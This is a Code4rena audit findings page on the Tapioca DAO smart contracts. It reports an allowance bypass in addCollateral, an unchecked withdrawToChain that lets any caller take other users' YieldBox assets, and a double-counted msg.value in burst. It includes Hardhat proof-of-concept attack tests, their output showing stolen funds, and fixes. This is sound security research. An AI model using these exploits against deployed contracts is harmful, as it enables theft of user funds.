Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 17/132
Findings: 7
Award: $4,428.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Ack
Also found by: 0xG0P1, 0xRobocop, 0xStalin, KIntern_NA, Koolex, Oxsadeeq, RedOneN, TiesStevelink, ayeslick, bin2chen, cergyk, kaden, ladboy233, ltyu, plainshift, rvierdiiev, xuwinnie, zzzitron
20.4247 USDC - $20.42
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLCollateral.sol#L21-L29 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L282-L290
This vulnerability is present in the SGLCollateral::addCollateral()
and BigBang::addCollateral()
functions, the issue is the same for the two functions, for this report I'm gonna be referring to the code of the Singularity market, let's first break down the flow execution when calling the addCollateral()
functions.
addCollateral()
functions use the allowedBorrow()
modifier to either check if the caller/msg.sender
is the same as the from
address (from where the collateral will be taken) or check if the from
address has granted enough allowance to the caller to spend on his behalf
allowedBorrow()
receives the values of the from
and shares
parameters sent to the addCollateral()
and forwards them to the _allowedBorrow()
to perform the two above checks.allowedBorrow()
modifier determines that the caller has the right to execute the operation, then the internal _addCollateral()
will be executed, this function receives all the parameters that are sent to the public addCollateral()
, those parameters are from
, to
, skim
, amount
, & share
The first operation performed in the _addCollateral() is to validate if shares were sent as 0, it will use the value of the parameter amount
to compute the number of required shares to add the desired amount as collateral
From here onwards the function will update the storage variables related to the collateral held by the users & will call the _addTokens()
to transfer the shares from the from
address into the Singularity market in the YieldBox vault and debit the to
address as the owner of the corresponding transferred shares
Let's see how an attacker can steal other users' collaterals.
The allowedBorrow()
modifier receives the value of the from
and shares
parameters, and based on those two determines if the caller has the right to execute the operation, if the caller is not the from
address it checks if it has enough allowance to spend the desired amount of shares
allowance[from][msg.sender]
is 0shares
set to 0, the check to determine if the caller has enough allowance will not make the tx to revert, because it will evaluate to false
by checking if(0 < 0), and the tx only reverts when the check evaluates to true, that means that the caller wants to spend more of what has been allowed.So, by sending shares as 0, the allowedBorrow
modifier can be bypassed, and now the execution goes to the _addCollateral()
, where it checks if shares == 0
, if so, it will use the amount
parameter to compute the equivalent amount of shares that are required to add that desired amount as collateral.
from
address the shares that it has deposited on the YieldBox into the Singularity market, and the to
address will be debited as the owner of those shares.Summarizing the above explanation: attacker sends shares set to 0
and amount set to the amount of collateral that the from address has deposited in the YieldBox
, the allowedBorrow
modifier is bypassed, the function will compute the required amount of shares to transfer the desired amount of collateral, which will allow the attacker to spend the collateral of the from
address and debit an account of his own as the owner of that collateral
I used the tapioca-bar-audit/test/leverage.test.ts
as the base for this PoC.
First, we need to update the tapioca-bar-audit/test/test.utils.ts
file to add a new address (The Attacker's address) for the PoC
*** *** *** **** *** // Deploy an EOA const eoa1 = new ethers.Wallet( ethers.Wallet.createRandom().privateKey, ethers.provider, ); + const attackerEOA = new ethers.Wallet( + ethers.Wallet.createRandom().privateKey, + ethers.provider, + ); if (!staging) { await setBalance(eoa1.address, 100000); + await setBalance(attackerEOA.address, 100000); } // Helper const initialSetup = { ... eoa1, + attackerEOA, ... }; *** *** *** *** ***
tapioca-bar-audit/test/leverage.test.ts
fileimport hre, { ethers } from 'hardhat'; import { expect } from 'chai'; import { BN, getSGLPermitSignature, register } from './test.utils'; import { loadFixture, takeSnapshot, } from '@nomicfoundation/hardhat-network-helpers'; import { LiquidationQueue__factory } from '../gitsub_tapioca-sdk/src/typechain/tapioca-periphery'; describe('Singularity test - PoC to demonstrate how attacker can steal users collaterals', () => { describe('Stealing other users collaterals', async () => { it('An attacker should be able to steal other users collaterals', async () => { const { deployer, bar, eoa1, attackerEOA, yieldBox, weth, wethAssetId, usdcAssetId, mediumRiskMC, wethUsdcOracle, usdc, usd0, __wethUsdcPrice, deployCurveStableToUsdoBidder, multiSwapper, BN, timeTravel, } = await loadFixture(register); //deploy and register USDO const usdoStratregy = await bar.emptyStrategies(usd0.address); const usdoAssetId = await yieldBox.ids( 1, usd0.address, usdoStratregy, 0, ); //Deploy & set Singularity const _sglLiquidationModule = await ( await ethers.getContractFactory('SGLLiquidation') ).deploy(); await _sglLiquidationModule.deployed(); const _sglBorrow = await ( await ethers.getContractFactory('SGLBorrow') ).deploy(); await _sglBorrow.deployed(); const _sglCollateral = await ( await ethers.getContractFactory('SGLCollateral') ).deploy(); await _sglCollateral.deployed(); const _sglLeverage = await ( await ethers.getContractFactory('SGLLeverage') ).deploy(); await _sglLeverage.deployed(); const collateralSwapPath = [usd0.address, weth.address]; const newPrice = __wethUsdcPrice.div(1000000); await wethUsdcOracle.set(newPrice); const data = new ethers.utils.AbiCoder().encode( [ 'address', 'address', 'address', 'address', 'address', 'address', 'uint256', 'address', 'uint256', 'address', 'uint256', ], [ _sglLiquidationModule.address, _sglBorrow.address, _sglCollateral.address, _sglLeverage.address, bar.address, usd0.address, usdoAssetId, weth.address, wethAssetId, wethUsdcOracle.address, ethers.utils.parseEther('1'), ], ); await bar.registerSingularity(mediumRiskMC.address, data, true); const wethUsdoSingularity = await ethers.getContractAt( 'Singularity', await bar.clonesOf( mediumRiskMC.address, (await bar.clonesOfCount(mediumRiskMC.address)).sub(1), ), ); //Deploy & set LiquidationQueue await usd0.setMinterStatus(wethUsdoSingularity.address, true); await usd0.setBurnerStatus(wethUsdoSingularity.address, true); const LiquidationQueue = new LiquidationQueue__factory(deployer); const liquidationQueue = await LiquidationQueue.deploy(); const feeCollector = new ethers.Wallet( ethers.Wallet.createRandom().privateKey, ethers.provider, ); const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder( yieldBox, usdc, usd0, ); const LQ_META = { activationTime: 600, // 10min minBidAmount: ethers.BigNumber.from((1e18).toString()).mul(200), // 200 USDC closeToMinBidAmount: ethers.BigNumber.from( (1e18).toString(), ).mul(202), defaultBidAmount: ethers.BigNumber.from((1e18).toString()).mul( 400, ), // 400 USDC feeCollector: feeCollector.address, bidExecutionSwapper: ethers.constants.AddressZero, usdoSwapper: stableToUsdoBidder.address, }; await liquidationQueue.init(LQ_META, wethUsdoSingularity.address); const payload = wethUsdoSingularity.interface.encodeFunctionData( 'setLiquidationQueueConfig', [ liquidationQueue.address, ethers.constants.AddressZero, ethers.constants.AddressZero, ], ); await ( await bar.executeMarketFn( [wethUsdoSingularity.address], [payload], true, ) ).wait(); //get tokens const wethAmount = ethers.BigNumber.from((1e18).toString()).mul( 100, ); const usdoAmount = ethers.BigNumber.from((1e18).toString()).mul( 20000, ); await usd0.mint(deployer.address, usdoAmount); await weth.connect(eoa1).freeMint(wethAmount); //aprove external operators await usd0 .connect(deployer) .approve(yieldBox.address, ethers.constants.MaxUint256); await weth .connect(deployer) .approve(yieldBox.address, ethers.constants.MaxUint256); await yieldBox .connect(deployer) .setApprovalForAll(wethUsdoSingularity.address, true); await usd0 .connect(eoa1) .approve(yieldBox.address, ethers.constants.MaxUint256); await weth .connect(eoa1) .approve(yieldBox.address, ethers.constants.MaxUint256); await yieldBox .connect(eoa1) .setApprovalForAll(wethUsdoSingularity.address, true); // We lend Usdo as deployer const usdoLendValue = usdoAmount.div(2); const _valShare = await yieldBox.toShare( usdoAssetId, usdoLendValue, false, ); await yieldBox.depositAsset( usdoAssetId, deployer.address, deployer.address, 0, _valShare, ); await wethUsdoSingularity.addAsset( deployer.address, deployer.address, false, _valShare, ); expect( await wethUsdoSingularity.balanceOf(deployer.address), ).to.be.equal( await yieldBox.toShare(usdoAssetId, usdoLendValue, false), ); //@audit => eoa1 deposits wethDepositAmount in the YieldBox, which later will be add as collateral in the Singularity Market //we lend weth collateral const wethDepositAmount = ethers.BigNumber.from( (1e18).toString(), ).mul(1); await yieldBox .connect(eoa1) .depositAsset( wethAssetId, eoa1.address, eoa1.address, wethDepositAmount, 0, ); //@audit => eoa1 valShares after depositing wethDepositAmount const _wethValShare = await yieldBox .connect(eoa1) .balanceOf(eoa1.address, wethAssetId); expect(_wethValShare).gt(0); // validate attacker has 0 valShares! const _attackerWethValShare = await yieldBox .connect(attackerEOA) .balanceOf(attackerEOA.address, wethAssetId); expect(_attackerWethValShare).equal(0); // Validate that attackerEOA has not collateral before stealing eoa1's collateral! expect( await wethUsdoSingularity.userCollateralShare(attackerEOA.address), ).equal( 0, ); // Validate that attackerEOA has 0 allowance in the allowanceBorrow mapping to spend on behalf of the eoa1 expect( await wethUsdoSingularity.allowanceBorrow(eoa1.address,attackerEOA.address), ).equal( 0, ); console.log("======= Before the attack ======= "); console.log("User deposited collateral: ", _wethValShare); console.log("Attacker deposited collateral: ", _attackerWethValShare); console.log("Attacker collateral share in Singularity Market: ", await wethUsdoSingularity.userCollateralShare(attackerEOA.address)); console.log("Attacker allowanceBorrow on the user: ", await wethUsdoSingularity.allowanceBorrow(eoa1.address,attackerEOA.address)); console.log("\t\t===================================\n\n"); // Performing the attack // Send `amount` set as the user's asset deposited amount in the YieldBox (wethDepositAmount) // Send `shares` set as 0 await wethUsdoSingularity .connect(attackerEOA) .addCollateral( eoa1.address, attackerEOA.address, false, wethDepositAmount, 0, ); // Validate attack expect( await wethUsdoSingularity.userCollateralShare(attackerEOA.address), ).equal( await yieldBox.toShare(wethAssetId, wethDepositAmount, false), ); console.log("======= After the attack ======= "); console.log("Attacker collateral share in Singularity Market: ", await wethUsdoSingularity.userCollateralShare(attackerEOA.address)); console.log("User collateral share in Singularity Market: ", await wethUsdoSingularity.userCollateralShare(eoa1.address)); }); }); });
Manual Audit
amount
parameter to the allowedBorrow
modifier, and in the modifier check if share is set to 0 and amount is != 0, if so, compute the required number of shares that will be required to add the collateral specified by the value of the amount parameter, then, use the computed number of shares to validate if the caller has enough allowance to spend on behalf of the from address, if not, revert the tx.+ modifier allowedBorrow(address from, uint share, uint amount) virtual { + _allowedBorrow(from, share, amount); _; }
+ function _allowedBorrow(address from, uint share, uint amount) internal { if (from != msg.sender) { + if (share == 0 && amount != 0) { + share = yieldBox.toShare(collateralId, amount, false); + } if (allowanceBorrow[from][msg.sender] < share) { revert NotApproved(from, msg.sender); } allowanceBorrow[from][msg.sender] -= share; } }
function addCollateral( address from, address to, bool skim, uint256 amount, uint256 share + ) public allowedBorrow(from, share, amount) notPaused { _addCollateral(from, to, skim, amount, share); }
Invalid Validation
#0 - c4-pre-sort
2023-08-05T03:01:13Z
minhquanym marked the issue as duplicate of #55
#1 - c4-judge
2023-09-12T17:38:14Z
dmvt marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: 0xStalin
1163.4744 USDC - $1,163.47
When users use Magnetar they need to grant the contract permissions to manipulate their assets in the YieldBox, there are different options that the users can use to grant Magnetar the allowance that it requires, they can grant ALL permissions directly on the YieldBox, ALL permissions for a certain period of time using the PERMIT_ALL() in the Magnetar contract or using the PERMIT() to grant permissions only for the tx execution.
When users grant Magnetar permissions that persist after the current tx execution, the Magnetar contract will effectively be allowed to manipulate the assets on the user's behalf if they call the Magnetar contract (Or at least this is how it should work).
The problem when withdrawing assets using the Magnetar contract is that the Magnetar contract doesn't validate if the caller (msg.sender) is the user or an authorized entity, this opens up an attack vector where an attacker can steal the user's assets deposited in the YieldBox and transfer them to an account of his own.
This vulnerability is present on the Magnetar::withdrawToChain()
and the consequences are that attackers can steal user's assets deposited in the YieldBox
The Magnetar::withdrawToChain()
function does not validate if the caller is authorized to withdraw user assets, this is how the function looks like. There are no validations to check if the msg.sender
has permissions to spend the assets of the from
account
function _withdrawToChain( IYieldBoxBase yieldBox, address from, uint256 assetId, uint16 dstChainId, bytes32 receiver, uint256 amount, uint256 share, bytes memory adapterParams, address payable refundAddress, uint256 gas ) private { // perform a same chain withdrawal if (dstChainId == 0) { yieldBox.withdraw( assetId, from, LzLib.bytes32ToAddress(receiver), amount, share ); return; } // perform a cross chain withdrawal (, address asset, , ) = yieldBox.assets(assetId); // make sure the asset supports a cross chain operation try IERC165(address(asset)).supportsInterface( type(ISendFrom).interfaceId ) {} catch { return; } // withdraw from YieldBox yieldBox.withdraw(assetId, from, address(this), amount, 0); // build LZ params bytes memory _adapterParams; ISendFrom.LzCallParams memory callParams = ISendFrom.LzCallParams({ refundAddress: msg.value > 0 ? refundAddress : payable(this), zroPaymentAddress: address(0), adapterParams: ISendFrom(address(asset)).useCustomAdapterParams() ? adapterParams : _adapterParams }); // sends the asset to another layer ISendFrom(address(asset)).sendFrom{value: gas}( address(this), dstChainId, receiver, amount, callParams ); }
dstChainIt == 0
attacker
account in the test.utils.ts
file> git diff --no-index test.utils.ts testPoC.utils.ts diff --git a/test.utils.ts b/testPoC.utils.ts index 00fc388..83107e6 100755 --- a/test.utils.ts +++ b/testPoC.utils.ts @@ -1023,8 +1023,14 @@ export async function register(staging?: boolean) { ethers.provider, ); + const attacker = new ethers.Wallet( + ethers.Wallet.createRandom().privateKey, + ethers.provider, + ); + if (!staging) { await setBalance(eoa1.address, 100000); + await setBalance(attacker.address, 100000); } // ------------------- Deploy WethUSDC mock oracle ------------------- @@ -1314,6 +1320,7 @@ export async function register(staging?: boolean) { if (!staging) { await setBalance(eoa1.address, 100000); + await setBalance(attacker.address, 100000); } const initialSetup = { @@ -1341,6 +1348,7 @@ export async function register(staging?: boolean) { _sglLeverageModule, magnetar, eoa1, + attacker, multiSwapper, singularityFeeTo, liquidationQueue,
tapioca-periph-audit/test/
folderimport { expect } from 'chai'; import hre, { ethers, config } from 'hardhat'; import { BN, register, getSGLPermitSignature } from './test.utils'; import { loadFixture, takeSnapshot, } from '@nomicfoundation/hardhat-network-helpers'; import SingularityArtifact from '../gitsub_tapioca-sdk/src/artifacts/tapioca-bar/Singularity.json'; import { SGLCollateral__factory, SGLBorrow__factory, SGLLeverage__factory, SGLLiquidation__factory, } from '../gitsub_tapioca-sdk/src/typechain/tapioca-bar'; describe('MagnetarV2', () => { describe('Steal user assets using the withdrawTo() function', () => { it('Attacker will steal user assets in YieldBox using the withdrawTo', async () => { const { deployer, attacker, yieldBox, createTokenEmptyStrategy, deployCurveStableToUsdoBidder, usd0, bar, __wethUsdcPrice, wethUsdcOracle, weth, wethAssetId, mediumRiskMC, usdc, magnetar, initContracts, timeTravel, } = await loadFixture(register); const usdoStratregy = await bar.emptyStrategies(usd0.address); const usdoAssetId = await yieldBox.ids( 1, usd0.address, usdoStratregy, 0, ); //Deploy & set Singularity const SGLLiquidation = new SGLLiquidation__factory(deployer); const _sglLiquidationModule = await SGLLiquidation.deploy(); const SGLCollateral = new SGLCollateral__factory(deployer); const _sglCollateralModule = await SGLCollateral.deploy(); const SGLBorrow = new SGLBorrow__factory(deployer); const _sglBorrowModule = await SGLBorrow.deploy(); const SGLLeverage = new SGLLeverage__factory(deployer); const _sglLeverageModule = await SGLLeverage.deploy(); const newPrice = __wethUsdcPrice.div(1000000); await wethUsdcOracle.set(newPrice); const sglData = new ethers.utils.AbiCoder().encode( [ 'address', 'address', 'address', 'address', 'address', 'address', 'uint256', 'address', 'uint256', 'address', 'uint256', ], [ _sglLiquidationModule.address, _sglBorrowModule.address, _sglCollateralModule.address, _sglLeverageModule.address, bar.address, usd0.address, usdoAssetId, weth.address, wethAssetId, wethUsdcOracle.address, ethers.utils.parseEther('1'), ], ); await bar.registerSingularity(mediumRiskMC.address, sglData, true); const wethUsdoSingularity = new ethers.Contract( await bar.clonesOf( mediumRiskMC.address, (await bar.clonesOfCount(mediumRiskMC.address)).sub(1), ), SingularityArtifact.abi, ethers.provider, ).connect(deployer); //Deploy & set LiquidationQueue await usd0.setMinterStatus(wethUsdoSingularity.address, true); await usd0.setBurnerStatus(wethUsdoSingularity.address, true); const LiquidationQueueFactory = await ethers.getContractFactory( 'LiquidationQueue', ); const liquidationQueue = await LiquidationQueueFactory.deploy(); const feeCollector = new ethers.Wallet( ethers.Wallet.createRandom().privateKey, ethers.provider, ); const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder( deployer, bar, usdc, usd0, ); const LQ_META = { activationTime: 600, // 10min minBidAmount: ethers.BigNumber.from((1e18).toString()).mul(200), // 200 USDC closeToMinBidAmount: ethers.BigNumber.from( (1e18).toString(), ).mul(202), defaultBidAmount: ethers.BigNumber.from((1e18).toString()).mul( 400, ), // 400 USDC feeCollector: feeCollector.address, bidExecutionSwapper: ethers.constants.AddressZero, usdoSwapper: stableToUsdoBidder.address, }; await liquidationQueue.init(LQ_META, wethUsdoSingularity.address); const payload = wethUsdoSingularity.interface.encodeFunctionData( 'setLiquidationQueueConfig', [ liquidationQueue.address, ethers.constants.AddressZero, ethers.constants.AddressZero, ], ); await ( await bar.executeMarketFn( [wethUsdoSingularity.address], [payload], true, ) ).wait(); const usdoAmount = ethers.BigNumber.from((1e18).toString()).mul(10); const usdoShare = await yieldBox.toShare( usdoAssetId, usdoAmount, false, ); await usd0.mint(deployer.address, usdoAmount); const depositAssetEncoded = yieldBox.interface.encodeFunctionData( 'depositAsset', [usdoAssetId, deployer.address, deployer.address, 0, usdoShare], ); const sglLendEncoded = wethUsdoSingularity.interface.encodeFunctionData('addAsset', [ deployer.address, deployer.address, false, usdoShare, ]); await usd0.approve(magnetar.address, ethers.constants.MaxUint256); await usd0.approve(yieldBox.address, ethers.constants.MaxUint256); await usd0.approve( wethUsdoSingularity.address, ethers.constants.MaxUint256, ); await yieldBox.setApprovalForAll(deployer.address, true); await yieldBox.setApprovalForAll(wethUsdoSingularity.address, true); await yieldBox.setApprovalForAll(magnetar.address, true); await weth.approve(yieldBox.address, ethers.constants.MaxUint256); await weth.approve(magnetar.address, ethers.constants.MaxUint256); await wethUsdoSingularity.approve( magnetar.address, ethers.constants.MaxUint256, ); const calls = [ { id: 100, target: yieldBox.address, value: 0, allowFailure: false, call: depositAssetEncoded, }, { id: 203, target: wethUsdoSingularity.address, value: 0, allowFailure: false, call: sglLendEncoded, }, ]; await magnetar.connect(deployer).burst(calls); const ybBalance = await yieldBox.balanceOf( deployer.address, usdoAssetId, ); expect(ybBalance.eq(0)).to.be.true; const sglBalance = await wethUsdoSingularity.balanceOf( deployer.address, ); expect(sglBalance.gt(0)).to.be.true; const borrowAmount = ethers.BigNumber.from((1e17).toString()); await timeTravel(86401); const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(1); await weth.freeMint(wethMintVal); await wethUsdoSingularity .connect(deployer) .approveBorrow(magnetar.address, ethers.constants.MaxUint256); const borrowFn = magnetar.interface.encodeFunctionData( 'depositAddCollateralAndBorrowFromMarket', [ wethUsdoSingularity.address, deployer.address, wethMintVal, 0, true, true, { withdraw: false, withdrawLzFeeAmount: 0, withdrawOnOtherChain: false, withdrawLzChainId: 0, withdrawAdapterParams: ethers.utils.toUtf8Bytes(''), }, ], ); let borrowPart = await wethUsdoSingularity.userBorrowPart( deployer.address, ); expect(borrowPart.eq(0)).to.be.true; await magnetar.connect(deployer).burst( [ { id: 206, target: magnetar.address, value: ethers.utils.parseEther('2'), allowFailure: false, call: borrowFn, }, ], { value: ethers.utils.parseEther('2'), }, ); const collateralBalance = await wethUsdoSingularity.userCollateralShare(deployer.address); const collateralAmpunt = await yieldBox.toAmount( wethAssetId, collateralBalance, false, ); expect(collateralAmpunt.eq(wethMintVal)).to.be.true; const totalAsset = await wethUsdoSingularity.totalSupply(); await wethUsdoSingularity .connect(deployer) .borrow(deployer.address, deployer.address, borrowAmount); borrowPart = await wethUsdoSingularity.userBorrowPart( deployer.address, ); expect(borrowPart.gte(borrowAmount)).to.be.true; //@audit => Attacker call withdrawToChain() and withdraw assets from the `deployer` account to his own account! console.log("User USDO balance BEFORE the attack: ", await usd0.balanceOf(deployer.address)); console.log("Attacker USDO balance BEFORE the attack: ", await usd0.balanceOf(attacker.address)); const receiverSplit = attacker.address.split('0x'); await magnetar.connect(attacker).withdrawToChain( yieldBox.address, deployer.address, usdoAssetId, 0, '0x'.concat(receiverSplit[1].padStart(64, '0')), borrowAmount, 0, '0x00', attacker.address, 0, ); console.log("\n\n=============================================================\n\n"); console.log("User USDO balance AFTER the attack: ", await usd0.balanceOf(deployer.address)); console.log("Attacker USDO balance AFTER the attack: ", await usd0.balanceOf(attacker.address)); }); }); });
npx hardhat test magnetar_withdrawToChainAttack_PoC.test.ts
MagnetarV2 Steal user assets using the withdrawTo() function User USDO balance BEFORE the attack: BigNumber { value: "0" } Attacker USDO balance BEFORE the attack: BigNumber { value: "0" } ============================================================= User USDO balance AFTER the attack: BigNumber { value: "0" } Attacker USDO balance AFTER the attack: BigNumber { value: "100000000000000000" } ✔ Attacker will steal user assets in YieldBox using the withdrawTo (14395ms)
Manual Audit
_withdrawToChain()
is called by different functions in the Magnetar contract, and some of those functions send the from
as the address(this)
(to allow Magnetar to receive assets before doing more operations), it is required to add snippet like in the example below:
if(from != address(this))
, if true, that means that from
is a user account, so, it is required to validate if the caller is authorized by the userfunction _withdrawToChain( IYieldBoxBase yieldBox, address from, uint256 assetId, uint16 dstChainId, bytes32 receiver, uint256 amount, uint256 share, bytes memory adapterParams, address payable refundAddress, uint256 gas ) private { + if(from != address(this)) require(_isAuthorizedToWithdraw(from,msg.sender), "Caller is not authorized to withdraw on behalf of the specified user"); ... ... }
contract Magnetar { // user => caller => authorized? mapping (address => mapping (address => bool)) public authorizedToWithdraw; function _isAuthorizedToWithdraw(address _user, address _caller) internal returns(bool) { return authorizedToWithdraw[_user][_caller]; } function authorizeWithdrawer(_address _withdrawer, bool permission) external { authorizedToWithdraw[msg.sender][_withdrawer] = permission; } }
Invalid Validation
#0 - c4-pre-sort
2023-08-06T02:43:15Z
minhquanym marked the issue as duplicate of #1019
#1 - c4-judge
2023-09-27T20:23:46Z
dmvt marked the issue as satisfactory
🌟 Selected for report: Madalad
Also found by: 0xStalin, 0xTheC0der, 0xfuje, Topmark, Vagner, cryptonue, gizzy, peakbolt, rvierdiiev
30.0503 USDC - $30.05
Magnetar::burst()
that requires to wrap the native token before executing other actions will be completely unusable, always when the burst() executes the logic to wrap the native token, the valAccumulator will accrue twice the _action.value of that action in the array of calls, and at the end of the loop iteration over the array of calls, the check to validate if valAccumulator
equals to msg.value
will fail and the tx will be reverted.Magnetar::burst()
functions are iterating over the array of calls and the current actionId matches the action to wrap a token (TOFT_WRAP
), and the wrap is made for the native token (_action.value > 0), the valAccumulator (which is keeping track of the sum of all the _action.value) will add again the value of the current _action.value, the problem is that the valAccumulator it was already updated with the value of the current _action.value (to be precise, at the beginning of the execution of each new call of the calls array, the valAccumulator adds up the value of the current _action.value).
msg.value
that was sent to execute the calls, and the tx will be reverted.
msg.value
to match the duplicate sum of the _action.value
, the users will end up loosing the extra native token that they sent because the extra tokens were not used, they will be left in the Magnetar contract.function burst( Call[] calldata calls ) external payable returns (Result[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new Result[](length); for (uint256 i = 0; i < length; i++) { Call calldata _action = calls[i]; if (!_action.allowFailure) { require( _action.call.length > 0, string.concat( "MagnetarV2: Missing call for action with index", string(abi.encode(i)) ) ); } //@audit-info => valAccumulator adds up the value of _action.value at the begining of the execution of each new call! unchecked { valAccumulator += _action.value; } ... ... ... } else if (_action.id == TOFT_WRAP) { WrapData memory data = abi.decode(_action.call[4:], (WrapData)); _checkSender(data.from); if (_action.value > 0) { //@audit-issue => Here the valAccumulator is adding again the _action.value, even though it was already added at the beggining of the execution of this action! unchecked { valAccumulator += _action.value; } ITapiocaOFT(_action.target).wrapNative{ value: _action.value }(data.to); } ... ... //@audit-issue => When validating if valAccumulator matches the `msg.value`, the validation will fail because the `valAccumulator` accrues twice the value `_action.value` when wrapping the native token require(msg.value == valAccumulator, "MagnetarV2: value mismatch");
Manual Audit
The fix for this bug is pretty straightforward, don't accrue twice the value of _action.value when wrapping the native token.
Remove the line of code that makes the valAccumulator sum again the _action.value when the action is to wrap the native token
function burst( Call[] calldata calls ) external payable returns (Result[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new Result[](length); for (uint256 i = 0; i < length; i++) { Call calldata _action = calls[i]; if (!_action.allowFailure) { require( _action.call.length > 0, string.concat( "MagnetarV2: Missing call for action with index", string(abi.encode(i)) ) ); } //@audit-info => valAccumulator adds up the value of _action.value at the beginning of the execution of each new call! unchecked { valAccumulator += _action.value; } ... ... ... } else if (_action.id == TOFT_WRAP) { WrapData memory data = abi.decode(_action.call[4:], (WrapData)); _checkSender(data.from); if (_action.value > 0) { - unchecked { - valAccumulator += _action.value; - } ITapiocaOFT(_action.target).wrapNative{ value: _action.value }(data.to); } ... ... ...
Loop
#0 - c4-pre-sort
2023-08-06T01:54:25Z
minhquanym marked the issue as duplicate of #207
#1 - c4-judge
2023-09-21T13:05:56Z
dmvt marked the issue as satisfactory